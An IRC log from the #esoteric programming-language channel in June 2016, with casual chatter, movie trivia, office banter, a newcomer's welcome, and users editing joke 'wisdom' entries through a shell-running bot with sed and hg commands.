16:43:07 -!- Kaynato has joined.
17:02:55 <b_jonas> \oren\: I see
17:03:11 <b_jonas> "some new symbols which ill add tonight" => huh, what symbols are you talking about here?
17:05:11 <\oren\> the new miscellaneuous technical
17:05:39 <b_jonas> \oren\: why are you interested in those in particular, as opposed to all the old symbols?
17:06:23 <\oren\> because i have virtually the whole miscellaneous tecjnical block covered
17:06:41 <\oren\> it would be nice to cover it completely
17:07:25 <b_jonas> \oren\: I see
17:10:51 <HackEgo> [wiki] [[Fractran++]] M https://esolangs.org/w/index.php?diff=47241&oldid=30212 * LegionMammal978 * (+13) /* References */
17:30:07 -!- hppavilion[1] has joined.
17:40:02 <HackEgo> [wiki] [[Omam]] https://esolangs.org/w/index.php?diff=47242&oldid=47214 * Marinus * (-38) Doesn't belong in category "unusable for programming", it's equivalent to Brainfuck.
17:42:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
18:15:33 -!- idris-bot has quit (Ping timeout: 244 seconds).
18:29:28 -!- oerjan has quit (Quit: Later).
19:03:35 <zzo38> What are the new ones?
19:22:00 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
19:24:54 <\oren\> zzo38: the power symbols and the sleep mode symbol
19:25:18 -!- moon_ has joined.
19:25:32 <moon_> i made hbot a lot less vulnerable to forkbombs, and i finally made it work
19:25:49 <moon_> Forkbombs are no longer bot murdering monsters
19:29:28 -!- Phantom_Hoover has joined.
19:29:36 <moon_> hi phantom
19:29:48 <moon_> i just managed to make hbot no longer vulnerable to forkbombas
19:31:29 <izabera> is there a way to run sql queries on imdb?
19:31:51 <izabera> i need to find a movie and i only know a list of actors in it
19:34:16 <b_jonas> izabera: dunno. I think you can list all movies of one actor, so you can start from that, or maybe ask http://movies.stackexchange.com/ if this is possible, or ask there directly about the movie
19:37:36 <\oren\> i think hound can do that
19:38:04 <\oren\> what are theactors
19:38:19 <\oren\> you s
19:39:13 <izabera> harrison ford, mark hamill and carrie fisher
19:39:48 <b_jonas> I think I also remember people on some forum or irc channel give trivia quiz questions of the form of a movie with multiple actors, so you could try to find such strange people.
19:40:38 <\oren\> return of the jedi and empire strikes back
19:40:41 <b_jonas> izabera: aren't those the top billed actors in _Star Wars: The Force Awakens_?
19:40:48 <izabera> oh that's it
19:40:55 <izabera> you guys rock
19:41:05 <b_jonas> hehe
19:41:08 <izabera> no jk that was an easy one to test you
19:41:19 <izabera> cameron diaz hugh laurie and rowan atkinson
19:41:29 <moon_> scratch what i said
19:41:41 <moon_> the version of nice i have is not very nice about subprocesses
19:41:47 <izabera> looks like googling their names works though
19:42:03 <izabera> moon_: do you even cgroups
19:42:49 <\oren\> hmm the search went through but Hound couldnt find the answer
19:43:46 <\oren\> the guy working on this is a few cubes over ill send him an email
19:43:55 <b_jonas> izabera: does it have to be a movie as opposed to some other genre like a TV series?
19:44:18 <izabera> well i found it and it wasn't cameron diaz but joely richardson <.<
19:44:25 <izabera> blame the crappy youtube video
19:44:33 <b_jonas> ah!
19:45:22 -!- Sgeo has joined.
19:45:31 <izabera> someone should make a website that does this
19:45:49 <izabera> something like thatmoviewith.xyz
19:46:09 <moon_> iza, im looking into cgroups right now >_>
19:46:22 <izabera> oh there's http://thatmoviewith.com/ and it does that but it's an iphone app
19:48:42 <b_jonas> izabera: movies.stackexchange.com might work in those cases. http://movies.stackexchange.com/q/50236/ is an example for a question like that.
19:49:16 <b_jonas> izabera: "work" in that it is probably not the kind of post they like the most, but it's on-topic and might get an answer
19:49:55 <moon_> l
19:50:02 <b_jonas> http://movies.stackexchange.com/q/21758/ is another such question (id question with clips on youtube available)
19:50:29 <b_jonas> If you actually have a clip (on youtube or wherever) from the movie, it's probably a much better question than if you just post a description anyway.
19:51:25 <izabera> i found it thanks <.<
19:51:35 <b_jonas> izabera: sure, btu you said "someone should make a website that does this"
19:51:49 <b_jonas> and movies.stackexchange.com might qualify as such a website
19:51:51 <izabera> i meant in a more automatic way
19:52:41 <b_jonas> why? do you need lower latency because you want to cheat in some sort of game show or other quiz? or more privacy about your question than that website offers?
19:52:57 <izabera> because i like machines more than humans
19:53:49 <b_jonas> izabera: in that case ask the meta question on movies.stackexchange.com , that is, ask how you can do such queries in an automated way
19:54:38 <izabera> top answer will be to write a bot that asks movie.se and then scraps the answers and returns the result
19:55:14 -!- j-bot has joined.
19:55:32 <\oren\> http://www.imdb.com/search/common
19:55:32 -!- Koen_ has joined.
19:56:17 <\oren\> not very flexible uf
19:57:09 <\oren\> s/uf/unf
19:57:43 <\oren\> i hate it when i mispell an abbreviation
19:59:25 <b_jonas> um, what's "unf"?
19:59:27 <b_jonas> `? unf
19:59:35 <HackEgo> unf? ¯\(°​_o)/¯
19:59:51 -!- Koen_ has quit (Ping timeout: 240 seconds).
20:00:02 <\oren\> unfortunately
20:00:55 * izabera thought it meant unflexible
20:04:10 -!- moon_ has quit (Quit: Page closed).
20:04:21 <b_jonas> on the esowiki, do we have a category for array languages, in the sense of eg. any of (APL, matlab, Mathematica, maxima, GAP), in which any of the built-in arithmetical primitives map to arrays of numbers automatically?
20:16:18 <HackEgo> [wiki] [[Esolang talk:Categorization]] https://esolangs.org/w/index.php?diff=47243&oldid=43215 * B jonas * (+782) /* Array-based languages */ new section
20:16:20 <HackEgo> [wiki] [[Jelly]] https://esolangs.org/w/index.php?diff=47244&oldid=46026 * B jonas * (+256)
20:21:26 <b_jonas> `olist 1041
20:21:27 <HackEgo> olist 1041: shachaf oerjan Sgeo FireFly boily nortti b_jonas
20:22:59 <shachaf> th_jonas
20:25:06 -!- jaboja has joined.
20:28:06 <b_jonas> ooohh.... so many future plot points!
20:29:52 -!- jix_ has quit (Ping timeout: 264 seconds).
20:30:01 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
20:30:19 <shachaf> How many?
20:30:24 -!- J_Arcane has joined.
20:30:28 -!- Sprocklem has quit (Ping timeout: 264 seconds).
20:30:28 -!- aloril has quit (Ping timeout: 264 seconds).
20:30:28 -!- espes___ has quit (Ping timeout: 264 seconds).
20:30:29 -!- Nithogg_ has quit (Ping timeout: 264 seconds).
20:31:01 <shachaf> Boots of Free Movement, redundant Xs?
20:31:04 -!- toon has quit (Ping timeout: 264 seconds).
20:31:23 <b_jonas> shachaf: four, I think
20:31:25 -!- jix has joined.
20:31:40 <shachaf> Which ones?
20:31:49 -!- Sprocklem has joined.
20:31:51 -!- espes__ has joined.
20:31:59 <b_jonas> shachaf: yes, those two, plus Redcloak mentions one of his weaknesses that can be used against his team in a fight later, plus magic belt
20:32:18 -!- toon has joined.
20:34:14 <b_jonas> shachaf: and for the boots, note that Xykon has been in a situation where that would have been useful, in http://www.giantitp.com/comics/oots0653.html first panel. I think. I'm not sure about the rules.
20:34:31 -!- augur has joined.
20:37:12 -!- Koen_ has joined.
20:41:04 <quintopia> who is lambdabot's maintainer?
20:42:05 <b_jonas> quintopia: dunno, try asking in #haskell
20:42:25 <quintopia> could have sworn it was someone who hangs out here
20:42:41 <shachaf> It was.
20:42:46 <b_jonas> `? lambdabot
20:42:47 -!- jaboja has quit (Read error: Connection reset by peer).
20:42:53 <b_jonas> maybe hackego knows
20:42:57 <shachaf> `? weather
20:42:59 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK
20:43:01 <HackEgo> lambdabot is a fully functional bot. just don't ask about @src.
20:43:02 <lambdabot> CYUL 211900Z 24016G22KT 30SM SCT065 SCT240 24/06 A2973 RMK CU3CI1 SLP068 DENSITY ALT 1400FT \ ENVA 211920Z 25008KT 9999 BKN045 13/09 Q1015 NOSIG RMK WIND 670FT 28011KT \ ESSB 211920Z 20006KT CAVOK 18/13 Q1014 \ KOAK 211853Z 27007KT 10SM FEW200 23/12 A3003 RMK AO2 SLP168 T02330122
20:43:11 <b_jonas> hmm
20:43:21 <b_jonas> `8-ball Who maintains lambdabot?
20:43:23 <HackEgo> Don't count on it.
20:43:27 -!- Nithogg_ has joined.
20:43:55 -!- aloril has joined.
20:45:15 <b_jonas> Cale: quintopia asks who maintains lambdabot, maybe you know the answer
20:45:33 <Cale> I think it's currently int-e
20:45:37 <b_jonas> shachaf: "It was." as in he no longer hangs out here because I sent them away?
20:45:39 <b_jonas> whew
20:45:45 <b_jonas> Cale: thanks
20:45:46 <b_jonas> quintopia: ^
20:45:59 <b_jonas> `? int-e
20:46:03 <HackEgo> int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv.
20:46:16 <b_jonas> ``` grep -Rli lambdabot wisdom
20:46:53 <shachaf> b_jonas: It was Cale, and then it was elliott, and then it was int-e.
20:47:04 <b_jonas> shachaf: ah
20:47:25 <b_jonas> shachaf: hmm, did anyone volunteer to maintain geordi yet then?
20:47:34 <HackEgo> wisdom/lambdabot \ wisdom/prefixes \ wisdom/weather \ wisdom/ghci \ wisdom/reflection
20:47:36 <b_jonas> Eelis said he needs a new maintainer
20:47:47 <shachaf> I didn't.
20:48:22 <myname> `? prefixes
20:48:23 <HackEgo> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , j-bot [ .
20:48:27 <myname> ah
20:49:24 <shachaf> `? Cale
20:49:25 <HackEgo> Cale? ¯\(°​_o)/¯
20:49:34 <b_jonas> WTF!
20:49:48 <Cale> `? shachaf
20:49:50 <HackEgo> shachaf is a wise little gentleman.
20:49:56 <shachaf> ?!
20:49:56 <lambdabot> Maybe you meant: v @ ? .
20:49:59 <shachaf> `hoag wisdom/shachaf
20:50:03 <HackEgo> ​<Elronnd> learn shachaf is a wise little gentleman. \ <Elronnd> learn shachaf is was little gentleman \ <shachaf> ` cat < wisdom/funpun | cat | rot13 | cat | cat > wisdom/shachaf \ <oerjan> learn_append shachaf The unit of bad punnery is named after him. \ <oerjan> learn_append shachaf He hates bell peppers with a passion. \ <oerjan> revert \ <e
20:50:11 <shachaf> Elronnd: What?
20:50:17 <shachaf> Why did you overwrite my wisdom entry?
20:50:32 <shachaf> `help
20:50:32 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
20:51:15 <shachaf> `` hg log wisdom/shachaf
20:51:21 <HackEgo> changeset: 8345:7b160701cdf9 \ user: HackBot \ date: Sun Jun 05 07:03:52 2016 +0000 \ summary: <Elronnd> learn shachaf is a wise little gentleman. \ \ changeset: 8344:dc5988a2985d \ user: HackBot \ date: Sun Jun 05 07:03:38 2016 +0000 \ summary: <Elronnd> learn shachaf is was little gentleman \ \ changeset:
20:52:13 <shachaf> Elronnd: And you did it in /msg or something? I don't see it in the logs.
20:54:26 <shachaf> `` hg cat -r 8343 wisdom/shachaf > wisdom/shachaf
20:54:36 <HackEgo> No output.
20:56:41 -!- idris-bot has joined.
20:57:37 <shachaf> `learn Cale is the inventor of the calzone.
20:57:42 <HackEgo> Learned 'cale': Cale is the inventor of the calzone.
20:58:35 <b_jonas> Does wisdom have any symlink to directory (recursively) under it?
20:59:39 <b_jonas> ``` find wisdom -type l \! -xtype f
20:59:41 <b_jonas> probably no
20:59:44 <HackEgo> No output.
21:02:04 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
21:02:48 -!- spockers has joined.
21:06:14 -!- jaboja has joined.
21:16:21 -!- Lord_of_Life has quit (Excess Flood).
21:19:42 -!- Lord_of_Life has joined.
21:22:36 -!- augur has quit (Remote host closed the connection).
21:29:33 <zzo38> What does WM_CLIENT_LEADER mean?
21:39:28 -!- izabera has quit (Ping timeout: 272 seconds).
21:40:32 -!- izabera has joined.
21:41:55 <int-e> `` echo wisdom/*ccc*
21:41:57 <HackEgo> wisdom/=@ccc wisdom/ioccc wisdom/ioccclist
21:42:15 <int-e> We don't know icccm.
21:58:01 -!- nunatak has joined.
22:14:05 -!- augur has joined.
22:33:09 -!- nunatak has quit (Quit: Verlassend).
22:34:22 <zzo38> There is many variant of Crazy Eights card game, I think.
22:40:46 <shachaf> zzo38: Have you invented a card game based on chess?
22:43:20 <zzo38> No, but I think someone else has done
22:45:27 -!- jaboja has quit (Ping timeout: 264 seconds).
22:47:35 <Phantom_Hoover> `? ioccc
22:47:36 <HackEgo> The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist.
22:47:44 <Phantom_Hoover> `? ioccclist
22:47:45 <HackEgo> ioccclist is update notification for when a new year of the International Obfuscated C Code Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccc.org/#news
22:48:29 <shachaf> Did you hear about my dream?
22:48:35 <shachaf> I don't remember the details of it anymore.
22:48:44 <shachaf> But there was a conference about cartesian closed categories called "IOCCC".
22:49:18 <FreeFull> International Obfuscated Cartesian Closed Categories"
22:49:54 <FreeFull> I wonder why it took so long to release the source code after the winners were announced
22:51:11 <FreeFull> HackEgo confused me there >_<
22:51:34 <FreeFull> Still, almost 6 months?
22:57:06 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:00:30 -!- nycs has quit (Quit: This computer has gone to sleep).
23:00:48 -!- moon_ has joined.
23:05:12 <quintopia> shachaf: did you fix your wisdom entry yet
23:05:21 <shachaf> `? shachaf
23:05:22 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
23:05:34 <quintopia> okay good (y)
23:05:36 -!- augur has quit (Remote host closed the connection).
23:06:12 -!- augur has joined.
23:06:20 <shachaf> I'm quite irritated that Elronnd edited my wisdom entry in secret.
23:06:23 <shachaf> Very hostile.
23:07:50 <Koen_> is the "hates with a passion" thingy a recurrent joke?
23:09:20 <shachaf> Is it?
23:09:24 <shachaf> I didn't put it in there.
23:09:26 <shachaf> `? oerjan
23:09:27 <HackEgo> Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
23:10:10 <shachaf> I liked the phrase "for his convenience". It's a shame that's gone.
23:10:57 <quintopia> at least "mildly dislikes with a passion" is a proper comedic form
23:11:15 -!- augur has quit (Ping timeout: 264 seconds).
23:11:29 <\oren\> `? oren
23:11:30 <HackEgo> oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a.
23:12:05 <\oren\> aaaaaaaaaaa why does my android have one!
23:12:32 -!- augur has joined.
23:13:08 <\oren\> i didnt notice until now the ugly ugly three storey g and two storey a
23:23:59 -!- J_Arcane_ has joined.
23:25:43 -!- J_Arcane has quit (Ping timeout: 250 seconds).
23:25:53 -!- J_Arcane_ has changed nick to J_Arcane.
23:31:27 <fizzie> Speaking of typography, I heard TfL (Transport for London) commissioned a new variant of the font the use in the Tube from Monotype, called Johnston100, to replace the old New Johnston.
23:33:39 <shachaf> hizzie
23:33:54 <shachaf> How's London?
23:34:05 <shachaf> Multiple people I know are visiting there for a while.
23:34:17 <fizzie> We just moved offices.
23:34:34 <fizzie> I came back from a two-week Finland vacation this Monday, straight to the new place on its first day of business.
23:35:33 <fizzie> http://www.businessinsider.com/googles-new-11-storey-office-in-londons-kings-cross-2016-6
23:36:07 <fizzie> So far it feels much more like a generic corporate office than the previous one -- no quirky quirks of any kind.
23:36:55 <fizzie> But maybe they'll adjust it. Only the top half's done, anyway.
23:37:28 <shachaf> fizzie: Funny, I heard the same thing from the people I worked with about the office they moved to.
23:37:44 <shachaf> (The word "corporate" in particular.)
23:38:24 <fizzie> Maybe they've hired more that kind of people in the REWS organization.
23:38:44 <fizzie> I know the ones in London don't even like our mannequins.
23:39:02 <shachaf> I'm sure whoever is in charge of that organization REWS the day they hired those people.
23:40:11 <fizzie> Our team's got six or so mannequins dressed up in various animal costumes, and grapevine has it all REWS does internally is complain about them. We didn't even dare to let them move that stuff, for fear of it accidentally "getting lost".
23:40:27 <fizzie> AIUI, one of the senior folks now has a car full of body parts as a result.
23:41:11 <fizzie> (I don't know, I was in Finland.)
23:46:20 <shachaf> But what I heard was that the new London office was going to be the best office ever made.
23:46:25 <shachaf> Or is that yet another office?
23:48:04 <fizzie> It's yet another one.
23:48:10 <fizzie> They still haven't start building that one.
23:48:15 <fizzie> This is just a rented building.
23:49:45 <shachaf> They won't let you have mannequins in the rented office?
23:56:39 -!- augur has quit (Remote host closed the connection).
2016-06-22
00:00:10 <fizzie> I'm sure they will, but they'd rather we didn't.
00:01:07 <shachaf> Why?
00:02:41 <fizzie> I'm not sure. Maybe they've got something against fun? I think fire safety was mentioned as well.
00:02:49 <fizzie> The corridors were getting a bit crowded.
00:06:41 -!- moon___ has joined.
00:06:43 <moon___> hi
00:07:35 -!- yorick_ has changed nick to yorick.
00:08:20 -!- moon___ has left.
00:13:47 <shachaf> fizzie: did you recognize any good speeches lately
00:14:38 <shachaf> would you say that synthesis-recognition is a section-retraction pair
00:15:59 <fizzie> I'm not category enough to say such a thing.
00:16:47 <shachaf> it means that one composition of them is the identity
00:17:20 <shachaf> (and the other is idempotent, of course)
00:18:19 -!- boily has joined.
00:18:32 <fizzie> Maybe in some sort of an ideal case, then.
00:19:08 <shachaf> yes
00:19:39 -!- moon_ has quit (Ping timeout: 264 seconds).
00:21:20 <boily> does this channel have an ideal? or at least an eigenvalue?
00:21:31 <boily> @massages-loud
00:21:31 <lambdabot> quintopia said 22h 37m 14s ago: Hope you like dark and malty. You're getting 24floz of barleywine and stout for a grand total of 2.94floz of alcohol.
00:21:51 <boily> quintopia: QUINTHELLOPIA! ^_^ <3 <3 <3
00:22:22 <shachaf> boily: in principle hth
00:23:29 <boily> hellochaf. tdh.
00:24:28 -!- augur has joined.
00:39:50 <quintopia> are ideal principles like principal ideals?
00:40:25 <quintopia> boily: nice job spotting that lambdabot bug
00:41:02 <quintopia> or revealing it i mean
00:41:46 <boily> there's a bug?
00:46:39 -!- oerjan has joined.
00:51:30 <boily> hellørjan. are you idealistic?
00:52:06 <oerjan> laboilyas. somewhat.
00:53:11 <boily> . o O ( laboilyas??? dequosséque? )
00:53:48 <oerjan> *MWAHAHAHAS*
00:53:49 <shachaf> oerjan seems more filteristic to me hth
00:54:12 <shachaf> oerjan: i propose a rule against editing wisdom entries off-channel hth
00:54:36 <oerjan> (tip: this language has a _lot_ of words ending in -as)
00:54:48 <oerjan> `? shachaf
00:54:49 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
00:54:55 <shachaf> espcially people's names
00:54:58 <oerjan> i see it was fixed.
00:55:05 <boily> oerjan: lithuanian?
00:55:10 <oerjan> boily: *DINGAS*
00:55:16 <shachaf> fixed in-channel, mind you
00:56:05 <oerjan> shachaf: well there's a reason i used to read through the recent repository history, before i retired.
00:56:17 <shachaf> oerjan: i thought you unretired
00:56:31 <oerjan> an easy misunderstanding.
00:56:33 <boily> `le/rn dingas/The sound of a Baltic bell. Its chime sounds like potatoes.
00:56:35 <HackEgo> Learned «dingas»
00:57:26 <oerjan> huh, dingas seems to be a genuine lithuanian word
00:58:01 <oerjan> assuming google translate can be trusted.
00:58:13 <oerjan> lithuanian: so easy. as long as you ignore the 8 cases.
00:58:21 <oerjan> (i think it's 8)
00:59:12 <shachaf> `? shavention
00:59:13 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
00:59:46 <oerjan> québécois, meanwhile, is completely incomprehensible.
00:59:56 <shachaf> `before
00:59:58 <HackEgo> wisdom/dingas//The sound of a Baltic bell. Its chime sounds like potatoes.
01:00:08 <shachaf> what a bug
01:00:13 <shachaf> shaventions are useless
01:00:42 <oerjan> what bug now
01:00:53 <shachaf> It should be an error, shouldn't it?
01:00:57 <oerjan> you mean if it created a file?
01:01:30 <oerjan> probably.
01:04:38 <oerjan> `before wisdom/oerjan
01:04:41 <HackEgo> wisdom/oerjan//Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:04:51 <oerjan> `? oerjan
01:04:53 <HackEgo> Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:05:12 <oerjan> looks like that part works.
01:05:34 <boily> oerjan: eh? of course québécois is grokkable! tsé.
01:06:35 <oerjan> you're biased, indoctrinated and not to be trusted on the subject hth
01:07:34 -!- Muddha has joined.
01:07:39 <boily> `relcome Muddha
01:07:40 <HackEgo> Muddha: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:07:46 <Muddha> blessings
01:07:53 <oerjan> speedy
01:08:20 <boily> I have to maintain my `relcomeratio :D
01:08:42 <Muddha> whats esoteric programming ?
01:09:12 <boily> oerjan: okay, I *may* be slightly not exactly partial on the matter. but it's easy! drop schwas, unvoice vowels, and apply a good dose of English word order.
01:09:24 <oerjan> *impartial
01:09:51 <boily> Muddha: programming that explores the limits of the possible, with arts and post-modern creativity.
01:09:55 <oerjan> `? esoteric
01:10:01 <boily> oerjan: that's what I meant indeed.
01:10:01 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on EFnet or DALnet.
01:10:36 <oerjan> boily: does québécois have double negation
01:10:52 <Muddha> so its not a special type of programming that was dubbed esoteric for some reason?
01:10:53 <boily> oerjan: yup! and it's gladly frowned upon by prescriptivists!
01:10:54 <oerjan> not that that would work in that case
01:11:18 <oerjan> Muddha: it's the languages that are esoteric. as in weird.
01:11:27 <zzo38> Muddha: Look at wiki to see its working.
01:11:36 <boily> Muddha: it's more like "fringe" or "frontier" programming.
01:11:48 <Muddha> ah im in the right place then
01:11:49 <Muddha> :P
01:12:19 <Muddha> I'm a newb so take it easy on me
01:12:21 <oerjan> ...i see.
01:12:40 <Muddha> ill be back with questions soon :P hope you guys are willing to help haha
01:13:06 <boily> we like newcomers!
01:13:17 <zzo38> OK, you can try
01:13:17 <Muddha> I like you guys too
01:13:20 <oerjan> given your username, i was guessing you were looking for more spiritual stuff. which alas is _not_ what this channel is about. usually.
01:13:32 <Muddha> haha no thats my actual nickname
01:13:35 <Muddha> :')
01:13:41 <boily> Muddha: you should take a look at the classics on the wiki: Brainfuck, Befunge, False, Malbolge...
01:14:04 <boily> (and probably Aubergine too, but that one is a shameless plug)
01:14:13 -!- augur has quit (Remote host closed the connection).
01:14:25 <zzo38> And also INTERCAL and Special:Random
01:15:25 <shachaf> how do you read "shavention"
01:15:31 <Muddha> I study electrical engineering and so I kinda got twisted with programming along the way im not particularly any good but I've been successfully intrigued
01:15:47 <boily> oooooh, an EE :D
01:15:55 <Muddha> yes an EE :P
01:16:33 <boily> then I shall ask you the The Question: what are your approximative geographic coördinates and body weigh?
01:17:02 -!- spiette has quit (Quit: :qa!).
01:17:05 <Muddha> haha im not sure about either
01:17:05 <oerjan> . o O ( since e's electrical, maybe ask for charge too? )
01:17:13 <Muddha> but i eight somewhere around 70 kgs
01:17:19 <Muddha> weigh*
01:17:22 <shachaf> oerjan: Are there non-electrical engineers?
01:17:42 <oerjan> shachaf: i think so? they build bridges and stuff...
01:18:01 <Muddha> too civil for me
01:18:11 <boily> he puns! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah!
01:18:16 <Muddha> :P
01:18:22 <shachaf> oerjan: with no charge?
01:18:35 <Muddha> no taxes where im from
01:18:36 <boily> Muddha: please be aware that any further pun shall be thwacked by my mapole.
01:19:00 <boily> Muddha: SI units, no taxes... Northern European?
01:19:08 <Muddha> haha african
01:19:15 <boily> close enough!
01:19:19 <Muddha> grew up in the middle east
01:19:24 <Muddha> currently in western europe
01:19:27 <oerjan> what about no taxes tells you northern european that makes no sense
01:19:49 <shachaf> every other / bin/ shavention / comes out of the / fourth dimension / life is just / a tanebvention / burma shave
01:19:53 <boily> it does. my deductions are sane!
01:20:22 <Muddha> no ones sane
01:20:27 <boily> `? boily
01:20:28 <HackEgo> ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist.
01:20:28 <Muddha> stope lying to yourself
01:20:31 <boily> ↑ I am sane.
01:21:04 <zzo38> boily: Are you sure?
01:21:15 <Muddha> of course he is
01:21:22 <Muddha> or she is
01:21:25 * boily points to Muddha
01:21:25 <Muddha> not quite sure
01:21:48 <boily> I'm a he.
01:21:58 -!- lambda-11235 has joined.
01:22:21 <Muddha> hence the pun oppressing pole
01:22:58 <oerjan> Muddha: do not question boily's sanity. that is not altogether safe hth
01:23:06 <Muddha> hahaha
01:23:14 <Muddha> ok
01:23:45 <boily> `? mapole
01:23:46 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
01:24:26 <Muddha> w9w
01:24:29 <Muddha> wow*
01:24:38 <Muddha> anyway guys its nice meeting you
01:24:45 <shachaf> boily: Does ' mean feet or minutes?
01:24:54 <Muddha> once I get my c's down and I move up the programming ladder
01:24:58 <oerjan> "yes"
01:25:01 <Muddha> I shall be back wanting more
01:25:19 <zzo38> OK
01:25:25 <Muddha> goodnight for now
01:25:43 -!- Muddha has left.
01:25:44 <boily> 'night!
01:25:48 <boily> zut.
01:26:27 <shachaf> Are you going to CT 2016?
01:26:31 <boily> shachaf: yes, and I shall correct it.
01:26:34 <boily> CT?
01:26:37 <shachaf> It's in Halifax.
01:26:54 <boily> `` sed -i 's/'\b/’/' wisdom/mapole
01:26:55 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
01:27:02 <boily> GHARGH.
01:27:09 <boily> `` sed -i "s/'\b/’/" wisdom/mapole
01:27:10 <HackEgo> No output.
01:27:17 <boily> Halifax is far hth.
01:27:54 -!- ski has joined.
01:28:07 <shachaf> @metar CYHZ
01:28:07 <lambdabot> CYHZ 220009Z 21016G22KT 1 1/2SM BR OVC001 15/15 A2971 RMK ST8 SLP065 DENSITY ALT 800FT
01:28:57 <oerjan> `? mapole
01:28:58 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
01:29:13 <shachaf> boily: Is there a leggy version?
01:29:22 <boily> `` sed -i "s/'/’/" wisdom/mapole
01:29:25 <HackEgo> No output.
01:29:29 <boily> `? mapole
01:29:30 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg.
01:29:32 * oerjan gives boily some `sled propaganda. rosebud!
01:29:48 <oerjan> actually, make that `slwd
01:29:53 <boily> shachaf: a leg version of a mapole?
01:30:10 <shachaf> Right. You only specify what the army version includes.
01:30:28 <shachaf> oerjan: slwd is presumably sled for lewd files
01:30:46 <oerjan> MAYBE
01:30:56 -!- MoALTz has quit (Quit: Leaving).
01:31:16 <shachaf> `slwd oerjan//s#lord#lewd#
01:31:38 <shachaf> `? oerjan
01:31:39 <HackEgo> Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:32:03 <shachaf> oerjan: Does "amortized" pop up when you try to remember the word "amortized"?
01:32:13 <oerjan> not always.
01:32:22 <oerjan> but more than it used to.
01:32:32 <shachaf> `slwd oerjan//s# instead##
01:32:35 <HackEgo> wisdom/oerjan//Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:33:38 <oerjan> `slwd oerjan//s/renouned/interjecting/
01:33:40 <HackEgo> wisdom/oerjan//Your mysterious interjecting cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:33:59 <oerjan> hm
01:34:59 <oerjan> `slwd oerjan//s/interjecting/articled/
01:35:02 <HackEgo> wisdom/oerjan//Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
01:35:36 <shachaf> _Maniacs in the Fourth Dimension_ -- by Kilgore Trout
01:35:39 <shachaf> It was about people, whose mental diseases couldn't be treated because the causes of the diseases were all in the fourth dimension, and three-dimensional Earthling doctors couldn't see those causes at all, or even imagine them.
